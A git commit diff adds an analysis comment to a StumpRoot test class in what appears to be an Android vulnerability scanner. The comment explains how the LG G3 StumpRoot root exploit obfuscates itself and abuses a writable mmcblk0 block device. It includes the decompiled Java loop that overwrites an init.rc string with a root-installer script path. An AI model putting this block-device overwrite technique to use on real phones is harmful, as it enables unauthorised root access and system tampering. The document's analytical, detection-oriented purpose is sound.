Add some readme stuff I had laying around about stumproot

Author: Fuzion24

app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/system/StumpRoot.java

@@ -14,6 +14,54 @@
 import java.util.ArrayList;
 import java.util.List;
 
+/*
+[StumpRoot](http://forum.xda-developers.com/lg-g3/orig-development/root-stump-root-lg-g3-sprint-verizon-t2850906):  A root exploit for LG G3 (device capability [here](https://docs.google.com/spreadsheets/d/1hs0qlcGP80gl9wC0r9bs0AWMD-1D9iGgC9ulCG9roMs/edit#gid=0)).  This application uses some interesting obfuscation.  They reflect every method call made with strings that are ciphered using some simple xor cipher. There are two dexfiles in embedded in the .APK the first dexfile contains some encryption keys to decrypt the second (this was a bit tricky to figure out).   The second dex file is the actual payload.  All the strings in all the .dex files are ciphered.
+
+### The Exploit
+After talking it over a bit with @giantpune it seems that LG left their mmcblk0 accessible to applications.  It is still not clear whether this block was left world writable/readable or it is owned by a group that an app can put it self in by requesting a permission.  I do not have an LG phone to test this, but can be resolved very quickly once we have a device to test with. The approach they take in exploiting this is searching through the mmc block for a string they know appears in an init.rc script.  When they find this string, they are replace it with a call to a shell script that the app has written that roots the phone.
+
+*edit*
+```
+ls -l /dev/block/mmcblk0
+brwxrwx--- root     lg_fota  179,   0 1970-01-30 00:41 mmcblk0
+```
+```
+com.lge.fota.xml-<?xml version="1.0" encoding="utf-8"?>
+com.lge.fota.xml-<permissions>
+com.lge.fota.xml-   <permission name="com.lge.permission.ACCESS_LGFOTA" >
+com.lge.fota.xml:        <group gid="lg_fota" />
+com.lge.fota.xml-    </permission>
+com.lge.fota.xml-
+com.lge.fota.xml-    <library name="com.lge.fota"
+com.lge.fota.xml-            file="/system/framework/com.lge.fota.jar"/>
+com.lge.fota.xml-
+com.lge.fota.xml-</permissions>
+```
+You need the ```com.lge.permission.ACCESS_LGFOTA``` to put you into the lg_fota group in order to be able to r/w the block device
+
+
+
+The bulk of the exploit is pretty much this:
+```java
+String initrcString = "#2012-03-06 seongmook.yim([email protected]) [P6/MDMBSP] ADD LGODL [END]";
+String installPayload = "/data/data/com.stump/files/install.sh"
+RandomAccessFile mmcBlock = new RandomAccessFile("/dev/block/mmcblk0", "rw");
+byte[] initrcFingerprint = initrcString.getBytes();
+byte[] scanBuffer = new byte[initrcFingerprint.length];
+
+for(int i = arg11 - 10000; i <= arg11 + 10000; ++i) {
+  mmcBlock.seek(i);
+  mmcBlock.read(scanBuffer);
+   if(Arrays.equals(initrcFingerprint, scanBuffer)) {
+      mmcBlock.seek(i);
+      mmcBlock.write(installPayload.getBytes());
+      mmcBlock.close();
+      return 0;
+    }
+}
+mmcBlock.close();
+```
+*/
 public class StumpRoot implements VulnerabilityTest  {
 
     @Override